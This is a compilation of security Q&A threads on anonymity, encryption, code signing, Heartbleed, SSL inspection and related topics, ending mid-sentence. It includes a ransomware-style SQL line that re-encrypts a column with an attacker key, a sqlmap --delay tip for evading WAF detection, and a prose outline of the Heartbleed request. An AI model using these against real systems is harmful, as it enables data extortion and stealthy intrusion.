What category of anonymity do onion routing and blockchains afford? My understanding is that a strict definition of anonymity means that defeating the security mechanism is logically impossible or mathematically infeasible, and therefore so is deducing the identity. (An example would be blind signatures. Mechanisms might include NP-completeness or information-theoretic security).

Tor, and other onion routers, do not promise this kind of anonymity. With enough effort (and control of the network) an adversary could distinguish some users. Similarly, bitcoin does not promise this kind of anonymity. With enough effort, an adversary could follow even a tumbled purchase through the blockchain.

Is there a term that distinguishes "effort-based" anonymity from "infeasibility-based" anonymity?

(I am aware that a given system could transition from one to another, for example prime factors and Shor's algorithm.)

While strict anonymity can be seen as a preference to a user attempting to conceal all aspects of their identity, it is infeasible and impossible to say the least. Tor, Blockchain, and other anonymizing technologies designed for a specific purpose can never be made to be infallible. After all, people do make mistakes and those are the elements that lend to defeating the security of a given program. As has been focused on, quantum technology would, undoubtedly, eradicate most of our current encryption technologies and render them useless.

If we are looking to define the type of anonymity offered by technologies like onion routing and blockchaining, then one definition could be platform specific anonymity—where anonymity is not defined as strict, but as a component of that given platform that is either difficult to defeat or cannot be realistically defeated with today's technology.

Defining anonymity as undefeatable stretches the purpose of the term in my opinion. Here is the general definition of the word anonymity as per the American Heritage Dictionary (found on Free Dictionary)[1]:

  The quality or state of being unknown or unacknowledged.
  One that is unknown or unacknowledged.

Anonymity does not refer to the quality of being incapable of being unmasked, merely the quality of being masked. In Information Security the ultimate goal is to protect a user's information to the best of one's abilities utilizing anonymizing software that is known to be effective by today's standards. Any security mechanism can theoretically be defeated, especially by a determined adversary with enough resources at their disposal. Tor is not perfect nor is Blockchain, but they offer a level of protection that is currently not simple to defeat (though Tor has definitely seen its browser compromised in the past as well as its nodes poisoned).

[1] For the American Heritage Dictionary definition:
American Heritage® Dictionary of the English Language, Fifth Edition. S.v. "anonymity." Retrieved April 20 2018 from https://www.thefreedictionary.com/anonymity


Detect arp-cache poisioner / spoofer The situation is: a hall full of 200-300 people, one of them is performing an arp-cache poisioning attack. Or messing with my network over wifi in any way.
Is there a way how to determine the location of him? Using some kind of directional antenna or something? I dont need to be very accurate, when I have the direction, I will probably find the suspicious one.
I know that this is almost impossible, but if anyone know something to suggest and try, I would really appriciated that.
Thanks for any ideas.

You need to capture and analysis network traffic using Wireshark to detect the source of ARP poisoning attack. Check out this article. The idea is to use this filter :

arp.duplicate-address-frame

There is also an other solution in this video


Would a (password + combination of images) be stronger for user's login regarding keyloggers? The scenario:
We have a login system for a web application that requires a plaintext password and 3 images (from a collection of images that the users select during registration, the images are provided by the site).

A keylogger will catch only the keystrokes and not the selected user images, right?

Is this enough to defeat keyloggers?

Nope. Keyloggers can often also do screen-capturing and mouse-coordinate-logging. So the attacker can still see what image the user selects.

Another kind of two-factor authentication for which the user needs two devices (e.g. laptop and phone) would be more secure. Another good alternative is a Yubikey. A kind of device which generates a pseudo-random password each time. That way the hacker/keylogger can't guess the next password.


Why would I use at-rest encryption over a DB's key-based encryption? Goal

I want to store encrypted data in a database.

Constraints

Application-level encryption (encrypting before sending to the DB) is not a reasonable option for my use case.
The DB providers I'm considering do not allow me to create multiple users/manage permissions at the price point I'll be paying. This means that separating permissions for logs vs reads and writes is not an option.

Options

Allow MySQL to handle AES encryption (via aes_encrypt/decrypt) for me (I'm aware of both the ECB block issue and the fact that MySQL logs sensitive data in plain text if not configured correctly)
Use a DB provider that offers encryption at rest (the kind that happens transparently--automatically encrypt on SET and decrypt on SELECT)

Questions

Question 1

Why would I ever choose this type of encryption at rest over aes_encrypt? (As a note, I'm not storing credit card info or anything else that would encourage me legally to encrypt at rest).

As I understand it, the point of encrypting data in the database is to confront the reality that DB breaches happen. With that in mind, if someone gains access to my DB (meaning they can execute queries), wouldn't this type of encryption at rest actually help them because it would simply decrypt data when theySELECT? It seems to me it's slowing down queries without adding security.

aes_decrypt, on the other hand, requires that the intruder have access to a key stored on a different machine behind different credentials. Isn't that safer?

Question 2

In the scenario I described in question 1, an attacker has gained query access to a DB. If that's the case, couldn't they also just enable logging and retrieve the plain text AES key thereby rendering aes_encrypt useless as well?

(Remember constraint number 2 here.)

Question 3

Excluding sql injection, are there other scenarios in which an attacker would be able to view what's in my database without executing a SELECT and therefore without triggering a transparent at rest decryption?

Recommendations?

If you have any recommendations that fit within my constraints please let me know. Thank you!

Transparent vs manual encryption

Transparent encryption can be easier and safer, because the provider is responsible for key management. To them this is just another operational duty, along with backups and monitoring and replication and so forth.

It is very easy to screw up key management- from picking bad keys to losing them to exposing them to failing to rotate them properly- just like it is easy to screw up other operational activities. And as with backups, if the keys are lost then the data is lost. Which problems does one want to spend one's time solving?

In terms of attack scenarios, there are many to consider- attackers could have the ability to passively monitor traffic on the network between the application and the database; could have the ability to read data from application or database file systems; could have access to physical disks; could have access to account credentials; could have a webshell operating in the application. Under most scenarios, transparent and manual encryption are equally vulnerable.

It is certainly possible for an attacker to have access to database credentials but not the application, so there is potentially some additional hurdle for them to overcome in the manual encryption case. But someone doing manual encryption has to have done a lot of things right, and a determined attacker with access to encrypted data has a lot of potential paths forward. The number of data breaches where data has reportedly been encrypted or hashed but then is later exposed is uncountable.
Query access and query logging

Query access to a database is not the same as administrative access, which is usually required to enable logging. However, when talking specifically about provider offerings, credentials for query access can perhaps also be used to configure some control panel from the provider, which would likely allow for enabling some sort of query logging.

But take a step back- in the common case, the impact of an attacker achieving access to the database, especially write access, does not change depending on whether data is encrypted or not. Taking a page from ransomware attacks, they could run their own "UPDATE $table SET $encrypted_column = aes_encrypt(encrypted_column, 'attacker-key');" and require the victim's decryption key, or just money, to return custody of the encrypted data.
Access to data outside of sql injection or the query engine

As above, there are many scenarios in which an attacker may be able to view what's in the database without going through the query engine. Someone may have visibility on the network. Someone may be able to see the data files the database is using. Someone may be able to get to the physical disks as they get rotated out of service. Someone may be able to get to backups. All of these things happen every day.

Recommendation: absent a requirement for encryption at rest and specific scenarios that have to be defended against and need special handling or consideration, just let the provider run the show.


Is the size of a packet sent through a Tor circuit consistent? I was researching attack vectors on the Tor network and stumbled across something interesting

  For example, suppose the attacker controls or watches the Tor relay you choose to enter the network, and also controls or watches the website you visit. In this case, the research community knows no practical low-latency design that can reliably stop the attacker from correlating volume and timing information on the two sides.

My question is if the packet size is consistent throughout the circuit, that means:

Eve can monitor Bob, OR1, OR2, OR3 and Alice.
Eve cannot exactly see what the packet contains but he has meta data about when a packet was send/received, who sends/received it, and how big the packet is.

Bob sends a request

GET /contact  HTTP 1.1 Host: 23.227.38.32:80

The request is 44 bytes long. Now he sends them to the first Onion Router (OR1), the package he send is now 47 bytes long (2 bytes Circuit ID, 1 byte CMD), OR1 sends a 47 byte package to OR2, OR2 sends a 47 byte package to OR3.

If I understood the Tor whitepaper right, Eve should see something like this in his magic internet surveillance program:

[13:37:20] 19.238.34.83 to 156.159.68.27 (OR1), 47 bytes long
[13:37:23] 156.159.68.27 (OR1) to 126.35.92.59 (OR2), 47 bytes long
[13:37:25] 126.35.92.59 (OR2) to 219.222.213.19 (OR3), 47 bytes long
[13:37:27] 219.222.213.19 (OR3) to 23.227.38.32 (Alice.com), 44 bytes long

I am not quite sure if this is true, TLS encryption of the connection could interfere with the package size.

Tor sends data in cells, each of which is exactly 514 bytes long (512 bytes in the past, which is still reflected in some documentation). Any data that is transmitted through Tor will be in multiples of 514 bytes. If the data sent is smaller than once cell, the cell is padded with zeros.


What is the point of HIPAA de-identification + re-identification? Section 164.514(c) of the HIPAA of Privacy rules discusses re-identification of PHI.

  If a covered entity or business associate successfully undertook an effort to identify the subject of de-identified information it maintained, the health information now related to a specific individual would again be protected by the Privacy Rule, as it would meet the definition of PHI.  Disclosure of a code or other means of record identification designed to enable coded or otherwise de-identified information to be re-identified is also considered a disclosure of PHI.

https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html

Under these rules, what is the possible purpose of de-identifying while retaining a method of re-identifying?

I could imagine someone wanting to store tightly secured HIPAA-protected information separately from less tightly secured non-HIPAA-protected information.

But the except says that the linking key is itself considered PHI. So the de-identified information (including its key) is no less HIPAA-protected PHI than the the original data.

Am I misunderstanding the security requirements here? It seems pointless to de-identifying while retaining the ability re-identifying since both data sets are treated as PHI anyway?

Note: I can't give legal advice. This is speculation. I'm not qualified in this area so I also don't know whether this is accurate.

I believe that it's common for clinics to draw patients' blood but send the sample to a third party lab for testing. The people doing blood tests don't need to know who the sample belongs to, but the doctor needs to know that information once they receive the results.

You could de-identify the source of a sample by replacing their name with a randomly generated number. The samples sent to the lab are (pseudo)anonymous. The lab should not be able to tell who a sample belongs to.*

When the doctors get back the test results they need to determine whose test results they are. They determine that by re-identifying. They replace the random number back with the patient's name. (Or ID number.)

I think the last part means that if you leak this mapping function or it's inverse, then it has to be treated as if you leaked the patient's name.

I see this is kind of similar to blind signature algorithms.

* But... what about DNA?


What is the difference between a certificate, a signature and a thumbprint in case of windows exe/binaries? I am trying to understand the difference between signature , thumbprint and certificate in context of windows executable and binaries. I looked up on internet before posting this question but  I did not get a concise differentiation. Maybe my understanding of the 3 terms is not clear in the first place. Can someone help me on this?

This is long. There's an example at the bottom that may help.

A Signature is a bit of cryptographic wizardry where you take some smallish piece of data - almost always the cryptographic hash (something like SHA256) digest of a message, file, or other data blob - and then perform an operation on it (called signing) with a private key. Since only you should ever have access to your private key, only you can produce that exact signature on that data. However, anybody with your public key can verify that signature - that is, confirm that it was made with your private key - and since they have to hash the message/file/blob again to get the digest as it was before being signed, they can tell if the message was modified, too.

In the context of binaries, the process goes like this. Somebody (let's say Microsoft) compiles a binary. They then take that binary and hash it, producing something like a SHA256 digest. They then take that hash and sign it with a private key that only Microsoft has. Now, Microsoft can distribute the file and anybody who has Microsoft's public key can tell that Microsoft signed the file and that the file hasn't been tampered with since it was signed (assuming that is, in fact, the case). The signature can be stored in the file itself, in a little blob at the end which is not included when hashing the file to verify its signature(s) (otherwise, adding the signature would automatically invalidate it!), or the signature can be stored in another file or otherwise transmitted out-of-band.

A Certificate ties an identity to a public key (which, somewhere, has a corresponding private key). You recognize a certificate is valid - that is, the key it contains really does belong to the person or organization it identifies - if the certificate is signed by the (private) key corresponding to (the public key in) a certificate you trust. Signing a certificate works just like signing a binary or any other file: the certificate (including the name it identifies, the dates for which it is valid, the purpose for which it is to be used, and the public key it is tying to that identity and purpose) is hashed, that digest is signed using the private key of somebody you trust, and the signature (modified digest) is placed back into the certificate in a special location. Of course, to identify who signed a certificate, you need their certificate; this is called a chain of trust and can go until you hit an explicitly trusted certificate. Trusted certificates can be ones where you personally identified the certificate and its owner, or where your software vendor did so (such as a Certificate Authority's certificate, or such as the certificate of the vendor themselves like the way Microsoft ships their own certificate as a trusted one in Windows), or something else like that.

In the context of binaries and code signing, a certificate helps you know who signed your binary, and what the signature is supposed to signify (i.e. Microsoft uses a different certificate and signing key when signing a binary that is a core part of Windows Phone and is allowed to run without a sandbox, as opposed to a binary for an app that must always be sandboxed), and how long it's good for. The signature is made with a private key, but is verified with a public key, so if the public key from a given certificate successfully verifies the signature on a given binary, you know two things: the binary has not been modified since it was signed (this would break the signature, and it would no longer verify) and the owner of the secret key (who is probably the entity identified on the certificate, unless you have a reason to doubt the certificate's authenticity) is the one who signed the binary.

For Windows Authenticode signatures, the certificate is usually included with the binary, so you don't have to get the certificate from somewhere else and can just check the signature immediately. The bundled certificate will be signed by some trusted signer, so you know that the binary wasn't just signed by some random schmoe who put a faked-up certificate with it.

A Thumbprint is just a cryptographic hash digest, usually used to identify a key or certificate. For example, let's say you have a blob of signed data that doesn't have a certificate with it. Checking the public key of each of your certificates to see if it can verify that signature would be slow and silly. Instead, the signature will almost certainly have a thumbprint that identifies the public key which can be used to verify the signature. Rather than attempting a computationally-expensive verification with every one of your public keys, you can just check their thumbprints (which are stored in the certificate, along with the key itself, though you can also just hash the key to get one) until you find the matching key, and then use it to attempt the verification.

One other place where thumbprints come in handy with binaries is catalog files. A catalog file has two parts. The first is a list of hash digests - that is, thumbprints - of other files. The second part is a signature of all those thumbprints. This way, you can distribute a bunch of files (some of which may not be binaries, and may not have anywhere standard to put a signature) that you want to make sure the recipient knows are all yours and haven't been tampered with. You just include a catalog (.cat) file that contains the thumbprints of every file, and is signed with your key. If any of the files were modified, their hash digest won't be one of the thumbprints in the catalog. If somebody tries to edit the catalog, its signature won't verify anymore. If somebody tries to replace the signature on the catalog, they won't have the original signer's private key so they won't be able to produce a signature that can be verified with the original signer's certificate.

Example:
Microsoft has a binary they want to sign, a Windows driver. They have a certificate (which they include with Windows) that contains a 2048-bit RSA public key, Microsoft's name, and usage information indicating that it can be used to sign drivers. Because you have Windows, you have this certificate and it is automatically trusted. Microsoft computes the SHA256 hash digest of their driver binary. They then take their the RSA private key corresponding to the public key in that certificate, and use the private key to sign the digest. The modified digest (signature) and the digest (thumbprint) of the public key that can verify it are placed in a special area at the end of the binary. They then publish that binary.

When you download the driver and try to install it, Windows checks for a signature on the binary. Seeing that there is a signature present, it checks its trust store (list of trusted certificates) for a certificate whose public key has the same fingerprint as the one included with the signature. Finding the matching certificate, Windows verifies that the certificate can be used to indicate a trusted driver, and then re-computes the SHA256 digest of the binary (ignoring the part at the end where the signature is). Windows then uses the RSA public key from the certificate and performs an operation with that public key upon the signature. If the result of the operation matches the digest that Windows just computed, it knows that the binary was signed by Microsoft (because only Microsoft has the right private key for that public key), and that the binary hasn't been modified since. It thus determines that the binary is trusted and may be loaded as a driver.

Hope that helps!


How to mitigate heartbleed like attacks prior to zero day Whenever sensitive data such as a password is used on a server it resides in memory for a short time. Given that security flaws like heartbleed exist which have the ability to 'bleed' memory for their contents what kind pre-emptive defences exist for these kinds of attacks prior to zero day?

Are there methods out there which wipe 'sensitive' memory after use so that for example a password does not linger (even freed) in an area of memory in which a possible buffer overflow could access?

The main problem with heartbleed was not that unused secret data where still in memory but that the memory contained secret data which were in use. These were data from parallel requests but more important it was the private key of the certificate which was needed to establish the SSL handshakes.

A typical technique used to protect against this kind of attacks is privilege separation. In case of an SSL handshake this could be using a HSM which can encrypt/sign but never makes the key accessible. It could be a process level separation employed for instance by OpenSSH. Or the critical computations could even be issued by another computer system controlled by a different party like done with Cloudflare Keyless SSL.


About security of web application - user attached files I have a web application (forum software) where I am working on a feature about user attaching files to the forum posts.

The application is written in assembly language and the database is SQLite.

The approach I used is to keep the attached files as a blobs in the database and to allow downloading only with the headers:

Content-type: application/octet-stream
Content-Disposition: attachment

This way, the files will never be stored as a files on the server.

Any validations of the file type and content are not planned to be implemented, because are considered superfluous on this setting (and I want to give the users maximal freedom, without compromising the security of course).

It is clear, that uploading huge files is one way to make DoS attacks, but this is not a subject of the preset question.

The possible bugs in the web-application itself, causing buffer overflows and similar are not an issue as well (they are possible, of course, but I want to ask about the architecture, not the implementation).

The questioned setting is the following scheme:

file-less: from the POST request -> to the SQLite blob field.
from the SQLite blob field -> to the network and user browser.
Always: application/octet-stream and Content-Disposition: attachment
No server validation of the file type and/or content.

And the question is:

What attack vectors are still possible with the above approach?

P.S. The question Pentesting file upload functionality is similar, but mainly discuss the uploaded files as existing in the FS of the server that is different from the system I am asking for.

The possible vector is a content-range attacks, when you will be asked for a document not from the very beginning of it, it can force you to read all the content into the memory for sending just a byte. So you can hit OOM on server while network and bandwidth payload for the attack is measured in hundreds of bytes


Is it possible to crack a laptop's encrypted hard disk? In a talk about a lost or stolen laptop, it is said that:

even with hard drive encryption, eventually they can crack these secrets

But strong encryption is practically impossible to break. For example, it would take 6 billion years at 100,000 attempts per second to brute force the password of a MacBook using XTS-AES 128 encryption, presuming the user has set a 12-character random password.
So an encrypted hard disk could be cracked only if:

the user has a weak enough password to brute force, or
the encryption uses a weak algorithm
the attacker is willing to wait billions of years

Presuming the last is infeasible, is it possible to crack an encrypted hard disk assuming the encryption algorithm is strong and the user has set a 60-character random password?

To put it bluntly, no. If the encryption software is solid and the password is xmc'jg.6EE/l\Z>tX;8mXb0#0k+RgW!1'N)q)}OE1FO(3!JbyUq^\HUR1&#o, then there is absolutely no chance to crack the password. Even if you waited billions of years, there isn't enough energy in the universe to do so.
So why did the guy say that eventually it will be cracked anyways? What does he know that we don't?
The problem is, most people don't set a secure, random password. You see, a lot of people tend to think that they don't need security - until they need security. They pick easy-to-remember passwords like Spring2021, Julia1994, etc. because they think nobody will ever try to crack their password anyways. So if your password is easily guessable or follows "a totally secure scheme nobody would ever guess", then your chance of being cracked will increase.
Furthermore, it also depends on who stole your laptop. A lot of people who steal a laptop simply want to sell it for some cash. They don't care what's on your laptop, and most likely, even if it was without any encryption, they wouldn't dedicate the time to finding out ways to monetize your company secrets. To them, stealing a laptop is a quick way to make cash. The people who buy a stolen laptop also couldn't care less what the previous owner had on there. It's just an extremely cheap laptop to them.
On the other hand, if your laptop was stolen by a dedicated attacker who knows who you work for, what you work on and how to make use of that knowledge, well, let's hope your password isn't Spring2021.


openssl for internal CA -- how do I "Check that the request matches the signature"? I am following this guide to create a Certificate Authority for internal use.

I am at the stage "Create the intermediate certificate" where the intermediate CA must be signed by the root CA.

openssl ca -config openssl.cnf -extensions v3_intermediate_ca \
  -days 3650 -notext -md sha256 \
  -in intermediate/csr/intermediate.csr.pem \
  -out intermediate/certs/intermediate.cert.pem

Here, openssl.cnf points to the certificate I generated for the root CA.

[ CA_default ]
private_key = $dir/private/ca-root.private.encrypted.key

OpenSSL then interactively throws this at me

Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 4096 (0x1000)
        Validity
            Not Before: Oct 21 17:12:48 2016 GMT
            Not After : Oct 31 17:12:48 2018 GMT
        Subject:
            [...snip...]
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                EC:D9:FD:DC:AA:B9:D3:93:83:14:D2:4D:84:C6:75:A2:20:90:A1:E6
            X509v3 Authority Key Identifier:
                keyid:EB:81:E3:6B:5D:32:DD:06:0A:D8:4F:B6:D0:5C:A2:BD:C9:CF:8E:79

            X509v3 Basic Constraints: critical
                CA:TRUE, pathlen:0
            X509v3 Key Usage: critical
                Digital Signature, Certificate Sign, CRL Sign
Certificate is to be certified until Oct 31 17:12:48 2018 GMT (740 days)
Sign the certificate? [y/n]:

What am I looking for here? I snipped out the Subject: section. Apart from eyeballing those details (they obviously match the stuff I created myself a minute a go), should I do anything else to check the certificate is valid?

And if the CSR came from a third party, what would I be looking to verify?

Check ... signature / Signature ok tells you that the openssl program checked the CSR signature and made sure it verifies, before doing anything else. You don't need to check the signature, and it wouldn't be practical to. ca then displays just the subject name by default, or most of the details if name_opt and/or cert_opt is configured as you apparently have, and unless you use -batch you are asked whether to sign (issue) the proposed certificate or not.

For a CSR you generated yourself, you presumably trust yourself (unless you are Michael Garibaldi), so approve.
If the CSR came from a third party, best practice is to check it out before running ca, because the most important thing to check is whether the requester is legitimate and authorized which you can't do from just the CSR (or cert) contents, so again just approve. But if you didn't check it yet, this is your last opportunity to:

check subject and optionally SAN appropriately identifies the party; or for simple hierarchical X.500 cases (which aren't nearly as common as CCITT hoped) you can configure policy to automatically check subject DN against issuer DN
if you copied extensions from the CSR, which is not the default, check they describe capabilities you want to 'certify' for this party; if you used extensions from your config file(s) you can doublecheck there's no mistake there (even if you did check the CSR)
perhaps check the subject-key algorithm and size meet any security and interoperability requirements for your environment and/or this party


SSL Inspection - how should it be done? I've seen several questions that deals with SSL Inspection, none of them really carried a detailed response on the secure way of doing so.

The reason I'm asking is because of this: Cyberoam fixes ssl snooping hole in network security appliances.

Can you explain the security breach here (how can attackers leverage this hole)? What should they have done? How can I protect the users on my network?
What can be done if an attacker have their old certificate (and how)?

SSL inspection is essentially a man-in-the-middle attack done with the approval of the owner of one end of the transaction; Alice thinks she is establishing a secure channel to Bob, but really she is establishing a secure channel to her employer Eve, who reads the traffic, then establishes a secure channel to Bob and passes it on.

In order for this to work, Eve has to generate and sign a fake certificate for Bob and use it to secure the communication with Alice. Eve is able to do this because Alice's computer has Eve listed as a trusted Certificate Authority. (Eve owns Alice's computer, so was able to add herself to that list.)

So, Eve is a trusted CA for Alice's computer. Except it's not actually Eve who's the CA, it's Eve's Cyberoam appliance. And the problem is that Cyberoam appliances all ship with the same default certificate on them, so Alice doesn't just trust Eve's Cyberoam, she trusts all Cyberoams.

This means that an attacker, call him Mallory, can buy a Cyberoam, dismantle it, and use it's fake certificate generator to make certs that Alice will trust. Basically, the work Eve has done to let her do a MITM attack on Alice and Bob's communications can also be used by Mallory to do a MITM attack on them.

To fix this, Eve needs to use a unique certificate on her particular Cyberoam appliance and not the default one it shipped with.

Eve should really have done this when she bought the appliance. Sure, dismantling a Cyberoam is hard, and even with the ability to forge trusted certs, a MITM attack is hard, so it is not a major risk unless Eve expects a determined and targetted attack.

However, generating a unique cert is a 30-second job and she should have done it. It will take Eve a little longer to do it now, since she has to replace the CA on Alice's list.

Lastly, to be fair to Cyberoam, it's not just them that ship with a default cert on their boxes. This is as much Eve's fault as theirs. As a general rule, if you're using SSL inspection, you are deliberately weakening the security of your network, and must take a lot of care doing it.


Is it possible to store / record HTTPS client auth traffic as a signed document? In a scenario where there are client RSA certificates (e.g. on a smart card), is it possible to record a form submission (or an AJAX request) in a form which makes it possible to later ascertain that the client actually did send that information (e.g. containing a client's signature of temporary keys used to encrypt the data)?

I'm thinking of the result being something like a binary blob containing a trace of TLS traffic over TCP, enriched with data from the server which would make it self-contained.

If possible, is it possible without revealing the server's private key in such a blob? And can it be done with an existing TLS library without heavy modification?

No.

There is an even simpler scenario for this question, without the client certificate.

You ask, given pcapng / tcpdump / wireshark file of the entire communication session between client and server and an SSLKEYLOGFILE dump in NSS Key Log format so you could decrypt the stored traffic, is that proof that the server sent whatever the file says the server sent?

And the answer is no, it is not.

TLS does not provide non-repudiation. The signature is proof that you communicated with the other party, but it is not proof of when the communication took place (because gmt_unix_time is deprecated) and it is not proof of what was communicated, only that the communication took place (possibly without any application data being sent).

After the handshake, both sides have the same symmetric keys for both sides. Both sides can generate a transcript that shows the other side sent, encrypted and authenticated with the expected keys, any data. There is no way to know whether that is true or not.

To achieve non-repudiation, you would need to add a digital signature at the end of the connection, signing a hash of the entire connection until the disconnect message was received. But there is no such feature in TLS.

Alternatively, you would need your friendly local sigint intelligence agency to provide a packet capture file that they certify is authentic, and one of the sides of the communication to provide SSLKEYLOGFILE dump, and then you would know that some packets were really sent in that direction and the cleartext data.


How to distribute software with one time installation key in complete offline I have the requirement that I have to distribute software in SD card. And this application should work without internet. I can share the installation key through SMS.

Since application and installation key are distributing through offline (without internet). Is there anyway to track application installation and restrict users to share software package themselves?

I would expect that the software should not be installable or in-accessible, even they are sharing SD-Card and SMS.

Please suggest right direction on this.

Here is an approach that partially solves the problem: Probabilistic encryption to generate installation keys.

When a user wants to install the software, they call you and give you their MAC address. You append the MAC address with the current UTC timestamp and encrypt it with a probabilistic encryption(PCBC or something similar) scheme and send the installation key using SMS.

The computer decrypts the installation keys and verifies the MAC and timestamp. IF the timestamp is of upto a tolerable time before current time (you neeed to factor in slow typing), then the software installs otherwise not.

Please keep in mind that this is not a completely foolproof mechanism. There can be multiple machines installing the software together and doing a MAC spoof. Also, you will have a challenge in keeping the generated installation key to human readable characters.


Can an external tool accurately determine the current vulnerability of a site to Heartbleed? How? Was vulnerability remediated? Can an external tool accurately determine the current vulnerability of a site to Heartbleed?
If so, how?  What has to be tested/tested for?
What features are required?

vvvvvvvvvv  UPDATE 1

What features are required to determine if a vulnerable site was remediated?
How does one determine that it is time to update the password?
If we use a tool like those mentioned below, what should the tool be checking?  This might include:
Is OpenSSL being used?
Is version of OpenSSL vulnerable?
If vulnerable version, is heartbeat allowed?
Were keys updated?

I am assuming that the passwords will be updated.  The larger question of determining whether a password "really" needs to be updated is too difficult across a large number of sites.  I'll settle for just knowing when I can go ahead and update them.  There are several available tools, but I'm not sure they are complete/accurate.

^^^^^^^^^^

While we would all like to know for each site during what period, if any, it was directly vulnerable to Heartbleed, that is a rather difficult problem.  Even more desirable and difficult: was site breached and what was lost.

For the much more limited purposes of knowing whether it is safe/time to update a site password(s), we need to determine whether a site is currently vulnerable to Heartblood or not.  The "not" may be because of remediation or because the site inherently cannot be exploited (different software) but for the purposes of this question, assume that all site passwords are going to be changed but only if/when the respective site is not currently vulnerable.

Anti-weakpasswords provided the most complete list of Heartbleed vulnerability checkers for sites (see below) that I've seen in response to:
HeartBleed - How to detect compromised websites
LastPass also has a site vulnerability checker:
https://lastpass.com/heartbleed/
ChromeBleed is a chrome extension to identify vulnerable sites:
https://chrome.google.com/webstore/detail/chromebleed/eeoekjnjgppnaegdjbcafdggilajhpic

  Right now, though, there are several Heartbleed vulnerability
  detectors/checkers that I'll list for the community.

  Qualys SSL Labs is more or less the canonical free SSL test site; they
  added an experimental Heartbleed test hours ago (and set the security
  grade to F for every site that's found to be vulnerable.

  titanous on github appears to still be under active development, and
  titanous also released Go programming code for Heartbleed detection,
  had better messages than Filippo as of this morning, and was last
  updated 32 minutes ago. It appears to be under the Go license, though
  I didn't do a full comparison; similar to a BSD 3 clause license.

  Filippo.io was one of the first Web sites, and they released their
  code on github with an MIT license (Go programming language), and was
  last updated 4 hours ago.

  musalbas on github released the Python program "ssltest.py" about 10
  hours ago that can do mass/bulk tests in only 178 lines (including a
  few comments), no license listed. Musalbas also released lists of the
  results of scanning the top 100, 1000, 10000, and 1 million Internet
  sites as of about 7 hours ago. This is a variant of Stafford's code.

  possible.lv is another web site that does Heartbleed vulnerability
  scans.

  Codenomicon Defensics appears to do detect Heartbleed as well.

  @Lekensteyn released the pacemaker python client checker, modified a
  few hours ago, as well as the original Stafford version of ssltest.py.
  No specific license is listed.

  Metasploit is also gaining Heartbleed tests very rapidly, including
  both the server check linked here and a client check from @HDMoore and
  @Lekensteyn.

Can an external tool accurately determine the current vulnerability of a site to Heartbleed? If so, how? What has to be tested/tested for? What features are required?

For a server to be "eligible" to the Heartbleed attack, the following two conditions must be met:

A vulnerable OpenSSL library version is used (from 1.0.1 up to 1.0.1f). Some vendors do patch intermediate versions though which would fix the bug.
The Heartbeat TLS extension must be advertised. If this extension is disabled, then you are not affected.

A possible attack will then:

Send a Heartbeat request with a large payload length, without actually supplying the payload.
A broken client or server will then reply with a large payload instead of staying silent.

Exploitation is always possible if the conditions are met, unless there is some IDS in between that block the malicious heartbeat.


How limit request rate of sqlmap? How can we restrict the rate of requests made from sqlmap to the foreign server in order to prevent detection from waf?

From the SQLMap man pages:

--delay=DELAY       Delay in seconds between each HTTP request


Will the Credential Management API now available in Chrome 51 be widely adopted? Google Chrome 51 stable includes support for the Credential Management API. This implementation is based on the W3C spec.

Will other browsers support this technology (particularly Safari)?

Will web applications and native apps implement support?

Are there security concerns?

With all new browser recommendations and drafts it is really hard to tell. But in it's current state it is unlikely to be widely adopted anytime soon.

For starters this is a draft. Not a standard. Nothing is finalized
and subject to be changed or dropped altogether. This is the biggest
reason vendors will not be rushing to implement it.
The next step is to become a recommendation. Becoming a W3C recommendation is what most vendors consider becoming a standard. But keep in mind it is still a recommendation. A vendor is not enforced to implement it. And all major browsers for one reason or another have rejected recommendations before.
If it becomes accepted for implementation there is no telling how long it actually becomes implemented. WebRTC for example was first introduced in 2011. But modern browsers didn't start adapting it until 2013-14 at the earliest. Many others such as Safari didn't get it into development branches until this year.
It also risks being beaten out for something better. As mentioned It isn't uncommon for it to take years for a recommendation to be
implemented. And it could be possible something new is proposed and the CM API becomes deprecated before it hits the stable branch of other vendors. A reason for this is a browser rolls out their own "standard" which other vendors wish to adopt. Or a glaring security flaw is found that sets it back or potentially tarnishes its reputation.


Can an ISP block BitTorrent peer discovery but not file transfer? When I start new torrents, I find there is no traffic for hours. I switch to another network (a cellular data hotspot) and the torrents start flowing. I return to my usual network, and the torrents continue.

I have tried this several times.

What could explain this? Is it possible for the ISP to block BitTorrent peer discovery but not file transfer? More generally, how can an ISP block BitTorrent?

As far as I remember the bittorrent protocol have two main components, one on UDP with DHT(Distributed Hash tables) and the current file transfers (upload and download) over TCP. All the management is doing by DHT and for an ISP is easy to identify this traffic and in consequence drop/block. Bear in mind that the traffic signatures for bittorrent are well know and ISPs can differentiate between the peer information(using DHT) and the upload/download component on TCP. This is in general for the majority of the bt clients as far as I remember.


How to set up a user-friendly NAS encryption? We recently installed one NAS drive (Buffalo LinkStation Pro Duo, LS-WVL, running the most recent Firmware version 1.6 to be precise) in our (small) company network. Currently, there is no encryption and by default the NAS provides anonymous read-write access via Samba. Setting up user/group restrictions is no problem with the web interface, nor is deactivating the integrated media server etc., but encryption is not officially available.

However, since it runs on Linux (see e.g. here) and it is not too difficult getting root access via LAN I can modify the setup to our needs. So here's my idea of our requirements:

Encrypt the data on the NAS

Decryption must require external information (since anyone with LAN access can hack into the root account abusing the firmware mechanism...), so I can't e.g. simply share an automatically mounted TrueCrypt volume
Ideally, no additional steps to the samba authorization would be required

I was also considering setting up and LDAP server on the device while we're at it, so maybe that authorization can be combined with decryption somehow. If that is not possible, having to temporarilly mount the decrypted volume via SSH plus some timeout would also be acceptable.

What is a typical solution to this?

Currently, your NAS is on the local network, and thus accessible only from the machines on the local network (you say that you trust your router). Therefore, if you fear anything at all, then, by definition, you are assuming that your local network is at risk, and that an "hostile entity" could plug on that local network.

As a corollary, if having LAN access is sufficient to gain root access on the NAS, then you must consider it as already compromised. Whatever the NAS knows, is known to the attacker. You are also already assuming that the attacker is kind enough not to delete or modify files...

Therefore, if any protection is to be obtained at all, then the data on the NAS must be encrypted with a key that the NAS itself does not know; the authorized clients would know the key, and collaborate in the management of the shared storage area which, from the point of view of the NAS, would be a big bag of opaque bytes. This would not fix the vulnerability with regards to data alteration, though. Also, I do not know of any production-ready implementation of a protocol for that; apparently, some people are working on it:

